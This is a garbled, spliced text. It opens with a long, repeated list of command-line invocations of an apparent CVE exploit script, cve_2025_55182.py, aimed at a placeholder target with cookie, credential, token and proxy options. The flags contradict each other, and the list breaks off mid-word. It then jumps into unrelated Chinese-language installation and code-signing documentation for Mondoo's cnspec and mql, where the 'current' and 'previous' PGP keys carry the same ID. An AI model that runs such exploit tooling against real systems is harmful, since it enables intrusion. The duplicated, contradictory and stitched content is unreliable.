python3 cve_2025_55182.py -t https://target.example.com -C "session=abc123"
# 使用自定义回调 Referer
python3 cve_2025_55182.py -t https://target.example.com -R "https://referer.example.com"
# 使用自定义回调 Origin
python3 cve_2025_55182.py -t https://target.example.com -O "https://origin.example.com"
# 使用自定义回调认证
python3 cve_2025_55182.py -t https://target.example.com -a "username:password"
# 使用自定义回调令牌
python3 cve_2025_55182.py -t https://target.example.com -k "your-token"
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K "your-secret"
# 使用自定义回调证书
python3 cve_2025_55182.py -t https://target.example.com -c /path/to/cert.pem
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K /path/to/key.pem
# 使用自定义回调 CA
python3 cve_2025_55182.py -t https://target.example.com -A /path/to/ca.pem
# 使用自定义回调验证
python3 cve_2025_55182.py -t https://target.example.com -v
# 使用自定义回调详细程度
python3 cve_2025_55182.py -t https://target.example.com -V
# 使用自定义回调静默模式
python3 cve_2025_55182.py -t https://target.example.com -q
# 使用自定义回调输出
python3 cve_2025_55182.py -t https://target.example.com -o output.txt
# 使用自定义回调格式
python3 cve_2025_55182.py -t https://target.example.com -f json
# 使用自定义回调线程数
python3 cve_2025_55182.py -t https://target.example.com -t 10
# 使用自定义回调超时
python3 cve_2025_55182.py -t https://target.example.com -T 10
# 使用自定义回调重试次数
python3 cve_2025_55182.py -t https://target.example.com -r 3
# 使用自定义回调延迟
python3 cve_2025_55182.py -t https://target.example.com -d 5
# 使用自定义回调抖动
python3 cve_2025_55182.py -t https://target.example.com -j 2
# 使用自定义回调 User-Agent
python3 cve_2025_55182.py -t https://target.example.com -A "Custom User Agent"
# 使用自定义回调代理
python3 cve_2025_55182.py -t https://target.example.com -x http://proxy.example.com:8080
# 使用自定义回调 Cookie
python3 cve_2025_55182.py -t https://target.example.com -C "session=abc123"
# 使用自定义回调 Referer
python3 cve_2025_55182.py -t https://target.example.com -R "https://referer.example.com"
# 使用自定义回调 Origin
python3 cve_2025_55182.py -t https://target.example.com -O "https://origin.example.com"
# 使用自定义回调认证
python3 cve_2025_55182.py -t https://target.example.com -a "username:password"
# 使用自定义回调令牌
python3 cve_2025_55182.py -t https://target.example.com -k "your-token"
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K "your-secret"
# 使用自定义回调证书
python3 cve_2025_55182.py -t https://target.example.com -c /path/to/cert.pem
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K /path/to/key.pem
# 使用自定义回调 CA
python3 cve_2025_55182.py -t https://target.example.com -A /path/to/ca.pem
# 使用自定义回调验证
python3 cve_2025_55182.py -t https://target.example.com -v
# 使用自定义回调详细程度
python3 cve_2025_55182.py -t https://target.example.com -V
# 使用自定义回调静默模式
python3 cve_2025_55182.py -t https://target.example.com -q
# 使用自定义回调输出
python3 cve_2025_55182.py -t https://target.example.com -o output.txt
# 使用自定义回调格式
python3 cve_2025_55182.py -t https://target.example.com -f json
# 使用自定义回调线程数
python3 cve_2025_55182.py -t https://target.example.com -t 10
# 使用自定义回调超时
python3 cve_2025_55182.py -t https://target.example.com -T 10
# 使用自定义回调重试次数
python3 cve_2025_55182.py -t https://target.example.com -r 3
# 使用自定义回调延迟
python3 cve_2025_55182.py -t https://target.example.com -d 5
# 使用自定义回调抖动
python3 cve_2025_55182.py -t https://target.example.com -j 2
# 使用自定义回调 User-Agent
python3 cve_2025_55182.py -t https://target.example.com -A "Custom User Agent"
# 使用自定义回调代理
python3 cve_2025_55182.py -t https://target.example.com -x http://proxy.example.com:8080
# 使用自定义回调 Cookie
python3 cve_2025_55182.py -t https://target.example.com -C "session=abc123"
# 使用自定义回调 Referer
python3 cve_2025_55182.py -t https://target.example.com -R "https://referer.example.com"
# 使用自定义回调 Origin
python3 cve_2025_55182.py -t https://target.example.com -O "https://origin.example.com"
# 使用自定义回调认证
python3 cve_2025_55182.py -t https://target.example.com -a "username:password"
# 使用自定义回调令牌
python3 cve_2025_55182.py -t https://target.example.com -k "your-token"
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K "your-secret"
# 使用自定义回调证书
python3 cve_2025_55182.py -t https://target.example.com -c /path/to/cert.pem
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K /path/to/key.pem
# 使用自定义回调 CA
python3 cve_2025_55182.py -t https://target.example.com -A /path/to/ca.pem
# 使用自定义回调验证
python3 cve_2025_55182.py -t https://target.example.com -v
# 使用自定义回调详细程度
python3 cve_2025_55182.py -t https://target.example.com -V
# 使用自定义回调静默模式
python3 cve_2025_55182.py -t https://target.example.com -q
# 使用自定义回调输出
python3 cve_2025_55182.py -t https://target.example.com -o output.txt
# 使用自定义回调格式
python3 cve_2025_55182.py -t https://target.example.com -f json
# 使用自定义回调线程数
python3 cve_2025_55182.py -t https://target.example.com -t 10
# 使用自定义回调超时
python3 cve_2025_55182.py -t https://target.example.com -T 10
# 使用自定义回调重试次数
python3 cve_2025_55182.py -t https://target.example.com -r 3
# 使用自定义回调延迟
python3 cve_2025_55182.py -t https://target.example.com -d 5
# 使用自定义回调抖动
python3 cve_2025_55182.py -t https://target.example.com -j 2
# 使用自定义回调 User-Agent
python3 cve_2025_55182.py -t https://target.example.com -A "Custom User Agent"
# 使用自定义回调代理
python3 cve_2025_55182.py -t https://target.example.com -x http://proxy.example.com:8080
# 使用自定义回调 Cookie
python3 cve_2025_55182.py -t https://target.example.com -C "session=abc123"
# 使用自定义回调 Referer
python3 cve_2025_55182.py -t https://target.example.com -R "https://referer.example.com"
# 使用自定义回调 Origin
python3 cve_2025_55182.py -t https://target.example.com -O "https://origin.example.com"
# 使用自定义回调认证
python3 cve_2025_55182.py -t https://target.example.com -a "username:password"
# 使用自定义回调令牌
python3 cve_2025_55182.py -t https://target.example.com -k "your-token"
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K "your-secret"
# 使用自定义回调证书
python3 cve_2025_55182.py -t https://target.example.com -c /path/to/cert.pem
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K /path/to/key.pem
# 使用自定义回调 CA
python3 cve_2025_55182.py -t https://target.example.com -A /path/to/ca.pem
# 使用自定义回调验证
python3 cve_2025_55182.py -t https://target.example.com -v
# 使用自定义回调详细程度
python3 cve_2025_55182.py -t https://target.example.com -V
# 使用自定义回调静默模式
python3 cve_2025_55182.py -t https://target.example.com -q
# 使用自定义回调输出
python3 cve_2025_55182.py -t https://target.example.com -o output.txt
# 使用自定义回调格式
python3 cve_2025_55182.py -t https://target.example.com -f json
# 使用自定义回调线程数
python3 cve_2025_55182.py -t https://target.example.com -t 10
# 使用自定义回调超时
python3 cve_2025_55182.py -t https://target.example.com -T 10
# 使用自定义回调重试次数
python3 cve_2025_55182.py -t https://target.example.com -r 3
# 使用自定义回调延迟
python3 cve_2025_55182.py -t https://target.example.com -d 5
# 使用自定义回调抖动
python3 cve_2025_55182.py -t https://target.example.com -j 2
# 使用自定义回调 User-Agent
python3 cve_2025_55182.py -t https://target.example.com -A "Custom User Agent"
# 使用自定义回调代理
python3 cve_2025_55182.py -t https://target.example.com -x http://proxy.example.com:8080
# 使用自定义回调 Cookie
python3 cve_2025_55182.py -t https://target.example.com -C "session=abc123"
# 使用自定义回调 Referer
python3 cve_2025_55182.py -t https://target.example.com -R "https://referer.example.com"
# 使用自定义回调 Origin
python3 cve_2025_55182.py -t https://target.example.com -O "https://origin.example.com"
# 使用自定义回调认证
python3 cve_2025_55182.py -t https://target.example.com -a "username:password"
# 使用自定义回调令牌
python3 cve_2025_55182.py -t https://target.example.com -k "your-token"
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K "your-secret"
# 使用自定义回调证书
python3 cve_2025_55182.py -t https://target.example.com -c /path/to/cert.pem
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K /path/to/key.pem
# 使用自定义回调 CA
python3 cve_2025_55182.py -t https://target.example.com -A /path/to/ca.pem
# 使用自定义回调验证
python3 cve_2025_55182.py -t https://target.example.com -v
# 使用自定义回调详细程度
python3 cve_2025_55182.py -t https://target.example.com -V
# 使用自定义回调静默模式
python3 cve_2025_55182.py -t https://target.example.com -q
# 使用自定义回调输出
python3 cve_2025_55182.py -t https://target.example.com -o output.txt
# 使用自定义回调格式
python3 cve_2025_55182.py -t https://target.example.com -f json
# 使用自定义回调线程数
python3 cve_2025_55182.py -t https://target.example.com -t 10
# 使用自定义回调超时
python3 cve_2025_55182.py -t https://target.example.com -T 10
# 使用自定义回调重试次数
python3 cve_2025_55182.py -t https://target.example.com -r 3
# 使用自定义回调延迟
python3 cve_2025_55182.py -t https://target.example.com -d 5
# 使用自定义回调抖动
python3 cve_2025_55182.py -t https://target.example.com -j 2
# 使用自定义回调 User-Agent
python3 cve_2025_55182.py -t https://target.example.com -A "Custom User Agent"
# 使用自定义回调代理
python3 cve_2025_55182.py -t https://target.example.com -x http://proxy.example.com:8080
# 使用自定义回调 Cookie
python3 cve_2025_55182.py -t https://target.example.com -C "session=abc123"
# 使用自定义回调 Referer
python3 cve_2025_55182.py -t https://target.example.com -R "https://referer.example.com"
# 使用自定义回调 Origin
python3 cve_2025_55182.py -t https://target.example.com -O "https://origin.example.com"
# 使用自定义回调认证
python3 cve_2025_55182.py -t https://target.example.com -a "username:password"
# 使用自定义回调令牌
python3 cve_2025_55182.py -t https://target.example.com -k "your-token"
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K "your-secret"
# 使用自定义回调证书
python3 cve_2025_55182.py -t https://target.example.com -c /path/to/cert.pem
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K /path/to/key.pem
# 使用自定义回调 CA
python3 cve_2025_55182.py -t https://target.example.com -A /path/to/ca.pem
# 使用自定义回调验证
python3 cve_2025_55182.py -t https://target.example.com -v
# 使用自定义回调详细程度
python3 cve_2025_55182.py -t https://target.example.com -V
# 使用自定义回调静默模式
python3 cve_2025_55182.py -t https://target.example.com -q
# 使用自定义回调输出
python3 cve_2025_55182.py -t https://target.example.com -o output.txt
# 使用自定义回调格式
python3 cve_2025_55182.py -t https://target.example.com -f json
# 使用自定义回调线程数
python3 cve_2025_55182.py -t https://target.example.com -t 10
# 使用自定义回调超时
python3 cve_2025_55182.py -t https://target.example.com -T 10
# 使用自定义回调重试次数
python3 cve_2025_55182.py -t https://target.example.com -r 3
# 使用自定义回调延迟
python3 cve_2025_55182.py -t https://target.example.com -d 5
# 使用自定义回调抖动
python3 cve_2025_55182.py -t https://target.example.com -j 2
# 使用自定义回调 User-Agent
python3 cve_2025_55182.py -t https://target.example.com -A "Custom User Agent"
# 使用自定义回调代理
python3 cve_2025_55182.py -t https://target.example.com -x http://proxy.example.com:8080
# 使用自定义回调 Cookie
python3 cve_2025_55182.py -t https://target.example.com -C "session=abc123"
# 使用自定义回调 Referer
python3 cve_2025_55182.py -t https://target.example.com -R "https://referer.example.com"
# 使用自定义回调 Origin
python3 cve_2025_55182.py -t https://target.example.com -O "https://origin.example.com"
# 使用自定义回调认证
python3 cve_2025_55182.py -t https://target.example.com -a "username:password"
# 使用自定义回调令牌
python3 cve_2025_55182.py -t https://target.example.com -k "your-token"
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K "your-secret"
# 使用自定义回调证书
python3 cve_2025_55182.py -t https://target.example.com -c /path/to/cert.pem
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K /path/to/key.pem
# 使用自定义回调 CA
python3 cve_2025_55182.py -t https://target.example.com -A /path/to/ca.pem
# 使用自定义回调验证
python3 cve_2025_55182.py -t https://target.example.com -v
# 使用自定义回调详细程度
python3 cve_2025_55182.py -t https://target.example.com -V
# 使用自定义回调静默模式
python3 cve_2025_55182.py -t https://target.example.com -q
# 使用自定义回调输出
python3 cve_2025_55182.py -t https://target.example.com -o output.txt
# 使用自定义回调格式
python3 cve_2025_55182.py -t https://target.example.com -f json
# 使用自定义回调线程数
python3 cve_2025_55182.py -t https://target.example.com -t 10
# 使用自定义回调超时
python3 cve_2025_55182.py -t https://target.example.com -T 10
# 使用自定义回调重试次数
python3 cve_2025_55182.py -t https://target.example.com -r 3
# 使用自定义回调延迟
python3 cve_2025_55182.py -t https://target.example.com -d 5
# 使用自定义回调抖动
python3 cve_2025_55182.py -t https://target.example.com -j 2
# 使用自定义回调 User-Agent
python3 cve_2025_55182.py -t https://target.example.com -A "Custom User Agent"
# 使用自定义回调代理
python3 cve_2025_55182.py -t https://target.example.com -x http://proxy.example.com:8080
# 使用自定义回调 Cookie
python3 cve_2025_55182.py -t https://target.example.com -C "session=abc123"
# 使用自定义回调 Referer
python3 cve_2025_55182.py -t https://target.example.com -R "https://referer.example.com"
# 使用自定义回调 Origin
python3 cve_2025_55182.py -t https://target.example.com -O "https://origin.example.com"
# 使用自定义回调认证
python3 cve_2025_55182.py -t https://target.example.com -a "username:password"
# 使用自定义回调令牌
python3 cve_2025_55182.py -t https://target.example.com -k "your-token"
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K "your-secret"
# 使用自定义回调证书
python3 cve_2025_55182.py -t https://target.example.com -c /path/to/cert.pem
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K /path/to/key.pem
# 使用自定义回调 CA
python3 cve_2025_55182.py -t https://target.example.com -A /path/to/ca.pem
# 使用自定义回调验证
python3 cve_2025_55182.py -t https://target.example.com -v
# 使用自定义回调详细程度
python3 cve_2025_55182.py -t https://target.example.com -V
# 使用自定义回调静默模式
python3 cve_2025_55182.py -t https://target.example.com -q
# 使用自定义回调输出
python3 cve_2025_55182.py -t https://target.example.com -o output.txt
# 使用自定义回调格式
python3 cve_2025_55182.py -t https://target.example.com -f json
# 使用自定义回调线程数
python3 cve_2025_55182.py -t https://target.example.com -t 10
# 使用自定义回调超时
python3 cve_2025_55182.py -t https://target.example.com -T 10
# 使用自定义回调重试次数
python3 cve_2025_55182.py -t https://target.example.com -r 3
# 使用自定义回调延迟
python3 cve_2025_55182.py -t https://target.example.com -d 5
# 使用自定义回调抖动
python3 cve_2025_55182.py -t https://target.example.com -j 2
# 使用自定义回调 User-Agent
python3 cve_2025_55182.py -t https://target.example.com -A "Custom User Agent"
# 使用自定义回调代理
python3 cve_2025_55182.py -t https://target.example.com -x http://proxy.example.com:8080
# 使用自定义回调 Cookie
python3 cve_2025_55182.py -t https://target.example.com -C "session=abc123"
# 使用自定义回调 Referer
python3 cve_2025_55182.py -t https://target.example.com -R "https://referer.example.com"
# 使用自定义回调 Origin
python3 cve_2025_55182.py -t https://target.example.com -O "https://origin.example.com"
# 使用自定义回调认证
python3 cve_2025_55182.py -t https://target.example.com -a "username:password"
# 使用自定义回调令牌
python3 cve_2025_55182.py -t https://target.example.com -k "your-token"
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K "your-secret"
# 使用自定义回调证书
python3 cve_2025_55182.py -t https://target.example.com -c /path/to/cert.pem
# 使用自定义回调密钥
python3 cve_2025_55182.py -t https://target.example.com -K /path/to/key.pem
# 使用自定义回调 CA
python3 cve_2025```bash
# Get the sha256 for a specific version of cnspec Client
https://install.mondoo.com/package/cnspec/linux/arm64/rpm/5.21.1/sha256
Kubernetes
用于安装 operator 的 Kubernetes 清单
https://install.mondoo.com/k8s/operator```bash
kubectl apply -f https://install.mondoo.com/k8s/operator
### 用于配置 MondooAuditConfig 的 Kubernetes 清单
[`https://install.mondoo.com/k8s/auditconfig?nodes=true&kubernetesResources=true`](https://install.mondoo.com/k8s/auditconfig?nodes=true&kubernetesResources=true)```bash
kubectl apply -f https://install.mondoo.com/k8s/auditconfig?nodes=true&kubernetesResources=true
要浏览所有版本,请访问 https://releases.mondoo.com
参考资料
安装脚本源码
- install.sh -
mql与cnspecBash 安装程序 - download.sh -
mql与cnspecBash 二进制下载器 - install.ps1 -
mql与cnspecPowerShell 安装程序 - download.ps1 -
mql与cnspecPowerShell 二进制下载器
配置管理
Docker 容器
版本发布
测试
install.sh
install.sh 脚本兼容 POSIX sh。所有测试均通过仓库根目录下的 make 驱动。
快速 lint(无需 Docker):```bash
POSIX compliance: shellcheck -s sh, dash -n, shebang check
make test/posix
General shellcheck (all shell scripts)
make test/shellcheck
**基于 Docker 的集成测试:**
这些测试会将你本地的 `install.sh` 挂载到容器中,并在该发行版的 `/bin/sh` 下运行它:```bash
# Test on Debian/Ubuntu distros (apt)
make test/install_sh/apt
# Test on RHEL/CentOS/Fedora distros (yum)
make test/install_sh/yum
# Test on SUSE (zypper)
make test/install_sh/zypper
# Test via existing multi-stage Dockerfiles (all distros)
make test/install_sh
# Run everything: lint + all Docker tests
make test/install_sh/all
升级测试(cnquery -> mql 迁移):```bash make test/install_sh/upgrade-apt make test/install_sh/upgrade-yum
### download.sh```bash
make test/download_sh
PowerShell```bash
make test/powershell
## 代码签名验证
Mondoo 对 Microsoft Windows 可执行文件、PowerShell 脚本、Linux 软件包进行签名,并对 Apple macOS 可执行文件进行代码签名。
- 用于代码签名的公共证书:`public-code-signing.cer`,位于 [Installer 仓库](https://github.com/mondoohq/installer)
- 用于软件包签名的公共 GPG 密钥:<https://releases.mondoo.com/rpm/pubkey.gpg>(与 <https://releases.mondoo.com/debian/pubkey.gpg> 相同)
## Microsoft
**注意:** cmdlet `Get-AuthenticodeSignature` 目前在 PowerShell Core 中不可用,因此您需要 Windows 安装环境才能运行它。
自 `11.66.1` 版本起,我们采用了 [Azure Trusted Signing](https://learn.microsoft.com/en-us/azure/trusted-signing/overview),它提供短期代码签名证书,大约每 72 小时轮换一次。这意味着证书指纹在不同版本之间会有所不同,不能用作可靠的验证方法。
要验证 `mql` 或 `cnspec` 可执行文件的完整性,请使用 Microsoft 的 `Get-AuthenticodeSignature` PowerShell 命令,并验证**签名状态**为 `Valid`。此外,**签名者(主题)**为:`CN=Mondoo, Inc.`,**颁发者**为:`CN=Microsoft ID Verified CS EOC CA 01, O=Microsoft Corporation, C=US````powershell
$file = ".\mondoo_11.66.1_windows_amd64.msi"
(Get-AuthenticodeSignature -FilePath $file).SignerCertificate | Format-List
Subject : CN="Mondoo, Inc.", O="Mondoo, Inc.", L=Cary, S=North Carolina, C=US
Issuer : CN=Microsoft ID Verified CS EOC CA 01, O=Microsoft Corporation, C=US
Thumbprint : 6134EB03311452EFFFA36EFC767F4BEBE29A4107
FriendlyName :
NotBefore : 05/08/2025 14:08:51
NotAfter : 08/08/2025 14:08:51
Extensions : {System.Security.Cryptography.Oid, System.Security.Cryptography.Oid,
System.Security.Cryptography.Oid, System.Security.Cryptography.Oid...}
要验证 Mondoo PowerShell install.ps1 脚本的完整性,请使用 Microsoft 的 Get-AuthenticodeSignature PowerShell,并验证签名状态为 Valid。```powershell
Get-AuthenticodeSignature .\install.ps1
SignerCertificate Status
6134EB03311452EFFFA36EFC767F4BEBE29A4107 Valid
### 之前的签名者
在版本 `11.66.1` 之前,我们使用 DigiCert 来签署我们的 Microsoft 版本。这些版本由 `CN=DigiCert Global G3 Code Signing ECC SHA384 2021 CA1, O="DigiCert, Inc.", C=US` 颁发的证书签名,并具有静态指纹 `EE97D1E3C6CD96E06C47B0233DD7C6CE2684FA50`。
### Apple macOS
要验证 `mql` 或 `cnspec` 可执行文件的完整性,请使用 Apple 的 codesign 实用工具,并比较 TeamIdentifier 字段,该字段应与下方所示一致。```bash
codesign --verify -d --verbose=2 /usr/local/bin/cnspec
Executable=/Library/Mondoo/bin/cnspec
Identifier=cnspec
Format=Mach-O universal (x86_64 arm64)
CodeDirectory v=20500 size=2124850 flags=0x10000(runtime) hashes=66396+2 location=embedded
Signature size=9054
Authority=Developer ID Application: Mondoo, Inc. (W2KUBWKG84)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=25. Apr 2023 at 19:47:53
Info.plist=not bound
TeamIdentifier=W2KUBWKG84
Runtime Version=11.0.0
Sealed Resources=none
Internal requirements count=1 size=168
当前及历史 PGP 公钥
当前密钥
Mondoo 当前的 PGP 公钥 ID 为 00E1C42B / 指纹 4CE909E26AE7439C39CE7647AC69C65100E1C42B,内容如下:```
-----BEGIN PGP PUBLIC KEY BLOCK-----
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 Ur8NXko6K6rP77odIXjJSA== =9LQ9 -----END PGP PUBLIC KEY BLOCK-----
#### 先前密钥
密钥 ID `00E1C42B` / 指纹 `4CE909E26AE7439C39CE7647AC69C65100E1C42B`:```
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQINBGAF59cBEAC2qCHNY7b8vqKNfGkmgUiOQM7Ags2qL7Z6wlZR+6PjfHjCO7c/
zJgCOSbY1O/XcwnsntQUBlAjZ7yzIBvvvGjmL+3vW1flKl4ZlgLnufHB9oUXtkVd
AMSnVD/LztLKgDMad4KqNwGHuXOa3Ewl5Fv7ZQBHo0hLjslr/mbjG3CtJovXCuS1
HHklLwTap5C/SHx6DIQvJ5DV7GyhCJkRvVxs495XPEIjgv5nyftWhkDqVQxdHoSZ
RoYvoKytG5isDTlv3qbUgPFN6VYvMMEbGegwQpYvdwq6WHNFgri/Abq+yWKZ+Ysn
t8mXEVZR7onfH8jnI2X2XYrIw/c7GHcmkROU+sDvjKnEY/QfcnZUYQnsYmSW34l5
rOVoqQNEutlu41r3KZ1Z7fA8aRYo++D6IusmgIZYA0MtverWPc/S+ZkirQ/SCmNm
9CHV2iLHBJ2kYZ/sYYXCigOGAoJZ1QsTiXpKOB6X/IoDh5zw2yZQm+9GSQ1OGFlr
AWz9tPv98UpSNqGxJAoigS3aMYUobgskXL+dnCkAgb9kLIuDvp3e5EWJr3qmowC7
JMfphTtjrIVu8IgnpjwULlW1WIh3IUp4YfTN51D3NeeAIXuJYhHA5QSjkK9k+Rst
ElLYDWlvF4vZUgvF1a0DGCc5QcRousnavh4ReivLZZVdhxghFdRmO2NgMwARAQAB
tB9Nb25kb28gSW5jIDxzZWN1cml0eUBtb25kb28uaW8+iQJUBBMBCgA+FiEETOkJ
4mrnQ5w5znZHrGnGUQDhxCsFAmAF59cCGwMFCQPCZwAFCwkIBwMFFQoJCAsFFgID
AQACHgECF4AACgkQrGnGUQDhxCs89A/9F70jyBQtIe4BSk3spjk66HoqWfZnxNxH
j9R5v5Nqda05hj8QrSzqiflIac2mUPUln5o5rdORtHvxAr2PGTLJaI9sN4T/+gKg
